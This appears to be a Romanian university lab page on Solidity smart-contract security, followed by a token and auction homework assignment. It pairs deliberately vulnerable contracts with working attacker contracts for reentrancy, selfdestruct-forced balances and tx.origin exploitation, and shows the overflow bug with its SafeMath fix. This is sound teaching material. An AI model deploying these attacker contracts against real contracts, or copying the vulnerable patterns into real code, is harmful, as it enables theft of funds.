Laborator 9

Tematica laboratorului: Solidity - securitate si prezentari articole

Atacuri reentrante

Un atac de tip reentrant se refera de regula la posibilitatea de a re-executa un apel de functie ca urmare a aceluiasi apel de functie, cu efecte negative asupra starii contractului. Astfel de atacuri sunt favorizate in particular de apeluri de functii executate low-level - prin intermediul "call()" sau "delegatecall()", datorita lipsei implicite a setarii unei limite de gas ce ar preveni o re-executie in cascada a functiei apelate. Redam in cele ce urmeaza un exemplu de contract vulnerabil la un atac de tip reentrant, urmat de un alt contract ce exploateaza aceasta posibilitate.


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract EthBank {

    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds () public {
        // check if sender balance permits withdrawal
        require(balances[msg.sender] > 0);
        // limit withdrawal interval
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 days);
        
        // transfer withdrawn amount
        (bool success,) = msg.sender.call{value: balances[msg.sender]}("");
        require(success);
        
        // update sender operations status
        balances[msg.sender] = 0;
        lastWithdrawTime[msg.sender] = block.timestamp;
    }
    
    function getBalance() public view returns(uint256) {
        return address(this).balance;
    }
 }


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./EthBank.sol";

contract AttackBank {
    
  address payable owner;
  EthBank public target;

  constructor () {
      owner = payable(msg.sender);
  }
  
  modifier onlyOwner() {
      require (msg.sender == owner);
      _;
  }
  
  function setBankAddress(address bankAddress) public {
      target = EthBank(bankAddress);
  }

  function attackBank() public payable {
      require(msg.value >= 1 ether);
      target.depositFunds{value: 1 ether}();
      target.withdrawFunds();
  }

  function collectFunds() public onlyOwner {
      owner.transfer(address(this).balance);
  }

  receive () external payable {
      if (address(target).balance >= 1 ether) {
          target.withdrawFunds();
      }
  }
  
  function getBalance() public view returns(uint256) {
      return address(this).balance;
  }
}

Executia functiei "attackBank()" va declansa un apel re-entrant al functiei "withdrawFunds()". Acesta va trece de primele verificari, iar la apelul "call" ce are ca scop transferul catre contractul apelant, se va executa functia receive ce re-executa "withdrawFunds()". Aceasta re-executie are loc pana ce balanta contractului atacat scade sub 1 ether, moment in care conditia din functia receive a contractului atacator nu va mai fi valida. Oprirea re-entrarii e esentiala pentru atacator, altfel tranzactia formata din apelurile re-entrante ar esua cand fondurile contractului atacat s-ar termina.

Exista mai multe modalitati de preventie ale acestei situatii, dupa cum urmeaza:

  • folosirea functiei "transfer()" in loc de "call()" ce seteaza implicit o limita nemodificabila de 2300 gas pentru costurile executiei codului din functia receive (practic doar emiterea unui eveniment)
  • actualizarea statusului operatiunilor legate de sender inainte de comunicarea cu alt contract, ce nu ar mai permite verificarea pozitiva a conditiilor din startul functiei "withdrawFunds()" la o eventuala re-entrare (asa numitul "Checks-Effects-Interaction" pattern)
  • folosirea unei variabile similare unui mutex ce ar nega o tentativa de re-entrare in functie inainte de finalizarea executiei acesteia

Atacuri bazate pe viramente neasteptate

Balanta unui contract se poate modifica de regula doar in urma primirii unei valori impreuna cu apelul unei functii payable, sau la un transfer simplu daca exista definita functia receive sau fallback in contract. Aceste situatii ofera un context in care se poate realiza aparent un control precis al campului this.balance ce indica balanta reala a contractului. Exista insa doua situatii particulare cand balanta unui contract poate fi modificata in sens pozitiv in mod neasteptat.
O situatie rar intalnita consta intr-un pre-transfer catre adresa contractului inainte ca acesta sa fie creat. Adresele contractelor sunt calculate in mod determinist, deci teoretic poate fi stiuta anterior crearii iar situatia poate sa apara.
A doua situatie, mai problematica, apare in momentul in care un contract este distrus prin intermediul functiei selfdestruct(address payable recipient) ce indica transferul tuturor fondurilor contractului respectiv catre adresa pasata ca argument. Daca adresa e reprezentata de un contract acesta nu va reactiona la primirea fondurilor in nici un fel - functia receive/fallback nu va fi apelata in aceasta situatie particulara, iar balanta contractului va creste.
Sa presupunem de exemplu urmatorul contract:


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Donation {
    
    uint public target;
    bool public open;
    
    event Completed(string);
    
    // sets target to reach in Ether
    constructor (uint _target) {
        target = _target;
        open = true;
    }
    
    // contributes to target set
    function contribute() public payable {
        require (open);
        require (msg.value == 1 ether, "Donations done only in fixed 1 ether amounts.");
        if (address(this).balance == target * 10**18 ) {
            open = false;
            emit Completed("Reached sum!");
        }
    }
    
    // used to withdraw the gathered amount once the target is reached
    function withdraw(address payable beneficiary) public {
        require(!open, "Donations not closed yet.");
        beneficiary.transfer(address(this).balance);
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
    
    receive () payable external {
        revert();
    }
    
    fallback () payable external {
        revert();
    }
    
}

Avand in vedere ca donatiile sunt efectuate in suma fixa de 1 Ether pe donatie, orice modificare neasteptata cu o alta valoare ar conduce la o situatie in care suma ar putea ramane blocata in contract. Desi functia contribute nu permite decat sume fixe, iar functia receive/fallback refuza alte transferuri, in cazul in care adresa contractului ar fi benefiara a unui selfdestruct s-ar putea ajunge in aceasta situatie. Un contract ce ar putea fi utilizat de un atacator in acest sens acest este urmatorul:


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract BreakDonation {

    address payable public victim;

    function addFunds() public payable {}

    function setVictim(address payable target) public {
        victim = target;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }

    function attack() public {
        selfdestruct(victim);
    }

}

Atacuri bazate pe exploatarea tx.origin

Acest tip de atacuri este bazat pe exploatarea unor verificari facute in contractul victima pentru a identifica originea initiala a tranzactiei (tx.origin) drept o adresa cu permisiuni, in locul ultimei adrese din calea tranzactiei spre contractul victima (msg.sender). In exemplele de mai jos atacatorul profita de un transfer spre propriul contract pentru a reapela in receive in continuarea aceleiasi tranzactii functia transferTo din contractul victima, avand aceeasi adresa de origine (a apelantului initial) si astfel devalizand balanta integrala a victimei. Mai multe detalii vor fi furnizate in cadrul cursului urmator.


// SPDX-License-Identifier: MIT

pragma solidity >=0.8.0 <=0.8.3; 

contract TxOriginVictim {

    address owner;
    constructor () {
        owner = msg.sender;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }

    function sendTo() public payable {
    }

    function transferTo(address to, uint amount) payable external {
        require (tx.origin == owner);
        (bool success, ) = to.call{value: amount}("");
        require(success);
    }

    receive() payable external {

    }
}


// SPDX-License-Identifier: MIT

pragma solidity >=0.8.0 <=0.8.3; 

interface TxOriginVictim {
    function transferTo(address to, uint amount) external;
}

contract TxOriginAttacker {
    address owner;

    constructor () {
        owner = msg.sender;
    }

    receive() payable external {
        TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Atacuri bazate pe depasiri de domenii

Pana la versiunea 0.8 a limbajului Solidity anumite atacuri exploatau tipurile de date definite in contract, prin tentative de depasire ale domeniilor de definitie ale acestora. Orice iesire din domeniul unui tip era reprezentata prin diferenta tot in domeniul tipului cauzand posibile efecte nedorite (ex. incercarea de stocare a unei valori mai mari decat 2^8 in uint8, avea ca efect stocarea diferentei in plus a acesteia in cadrul uint8). Aceasta problema a fost corectata odata cu trecerea la versiunea 0.8 a Solidity, dupa care se realizeaza verificari automate pentru detectia depasirilor de tipuri. Un exemplu de contract vulnerabil e urmatorul:


// SPDX-License-Identifier: MIT

pragma solidity ^0.7.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor (uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

La incercarea transferului unei sume mai mari ca balanta apelantului, diferenta din prima verificare va fi tot pozitiva, tipul de date fiind pozitiv. Mai mult, actualizarea balantei va rezulta in una mai mare ca balanta initiala. Una din solutiile frecvent utilizate inainte de versiunea 0.8 a limbajului Solidity a constat in utilizarea in locul operatiilor aritmetice obisnuite de operatii puse la dispozitie de o librarie sigura - un exemplu oferit de OpenZepellin e descris mai jos:



// SPDX-License-Identifier: MIT

pragma solidity ^0.7.0;

library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // This holds in all cases
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract Token {
  using SafeMath for uint;
  mapping(address => uint) balances;
  uint public totalSupply;

  constructor (uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender].sub(_value) >= 0);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}


TEMA 2

Sursa data in fisierul: SampleToken.sol (adaptare dupa un exemplu din "Blockchain by Example" - B. Badr, R. Horrocks, X. Wu), include doua contracte: un exemplu simplificat de token ERC-20 - SampleToken si un contract folosit pentru vanzarea acestui token - SampleTokenSale. Proprietarul tokenului va instantia mai intai contractul token cu o suma totala disponibila pentru token ce este asociata balantei proprietarului, dupa care va instantia contractul de vanzare, pentru a vinde tokenul respectiv prin intermediul acestuia.
In forma curenta contractul de vanzare nu are acces initial la fonduri. Pentru a vinde tokenul, proprietarul trebuie sa transfere periodic din fondurile proprii de token catre balanta contractului de vanzare folosind metoda transfer. Contractul de vanzare foloseste de asemenea metoda transfer in cadrul vanzarii.

Se cer urmatoarele:

Completarea si corectarea functionalitatii curente a contractelor. In particular:

  • Corectarea situatiilor unde pattern-ul Checks-Effects-Interaction nu este respectat in metodele contractelor.
  • Completarea cu functionalitatile obligatorii lipsa ce corespund unui contract ERC-20, conform specificatiilor standard, pentru contractul SampleToken.
  • Modificarea implementarii astfel incat contractul de vanzare sa foloseasca metoda transferFrom pentru vanzare, in urma unei aprobari a proprietarului token-ului ce permite contractului de vanzare sa efectueze vanzarea direct din balanta proprietarului.
  • Asigurarea posibilitatii pentru proprietarul tokenului de a putea modifica pretul de vanzare fixat la instantierea contractului SampleTokenSale.
  • Relaxarea implementarii astfel incat cumparatorii sa nu fie obligati sa plateasca suma exacta pentru achizitionarea de tokens, ci sa poata plati mai mult si sa le fie returnat restul.

Integrarea utilizarii tokenului in contractul ProductIdentification din prima tema.

  • Tokenul va fi utilizat in locul monedei de baza Ethereum la plata pentru inregistrarea unui producator.

Integrarea utilizarii tokenului si a contractului ProductIdentification din prima tema cu contractul MyAuction ce este parte a exemplului de DAPP pentru licitatii auto din laboratorul 6, si completarea acestuia dupa cum urmeaza:

  • Instantierea unui contract MyAuction va verifica daca tipul de masina (brand) figureaza ca produs inregistrat in contractul ProductIdentification, esuand in caz contrar.
  • Tokenul va fi utilizat in locul monedei de baza Ethereum in situatiile in care sunt necesare transferuri (bid, withdraw, etc.).
  • Un aplicant la licitatie nu va putea licita decat o singura data (nu isi va putea suprascrie suma licitata).
  • Se va adauga o finalitate pentru licitatii: proprietarul contractului va putea retrage suma castigatoare a licitatiei, iar sumele celorlalti aplicanti vor fi returnate la distrugerea contractului daca acestia nu le-au retras pana in acel moment.

Bonus: Se acorda pana la maxim 5 puncte bonus pentru imbunatatirea interfetei exemplului de DAPP din laboratorul 6. Aceasta ar trebui sa includa de exemplu suport pentru pornirea si accesarea a mai multe licitatii simultane, o pagina/sectiune dedicata achizitionarii de tokens si de verificare a balantei proprii, si evident acoperirea functionalitatilor pentru toate operatiile dintr-un contract de licitatie in interfata web (inclusiv retragerea sumelor licitate) precum si imbogatirea acesteia cu un design mai atractiv.

Detalii organizare si termene

Tema poate fi realizata in echipe de pana la 3 studenti. Predarea temei se va face prin e-mail - arhiva zip cu sursele Solidity sau link la un repository cu drepturi de acces, subiect: Tema 2 Blockchain ; seriile MSD, MISS la adresa emanuel.onica@uaic.ro ; seriile MSI si MOC2 la adresa andrei.arusoaie@uaic.ro - nu se accepta echipe mixte intre serii decat daca urmeaza laboratorul cu acelasi profesor (alternativ, pentru varianta cu link la repository acesta se poate transmite si prin mesaj privat pe Discord).
Data limita a predarii este 11 ianuarie inclusiv, fiind urmata de finalizarea evaluarii in cadrul laboratoarelor urmatoare (17-18 ianuarie), aceasta urmand a se desfasura online. O programare a echipelor pe sloturi orare si alte detalii vor fi anuntate in data de 15 ianuarie.
Nota: In cazul implementarii bonusului, nu este necesara trimiterea pana la termenul de predare si a surselor ce tin strict de aplicatia web (.js, .html, .css, resurse grafice, etc) - partea aceasta va fi evaluata direct in cadrul laboratorului.

© 2023 Emanuel Onica. Parts of design by W3Layouts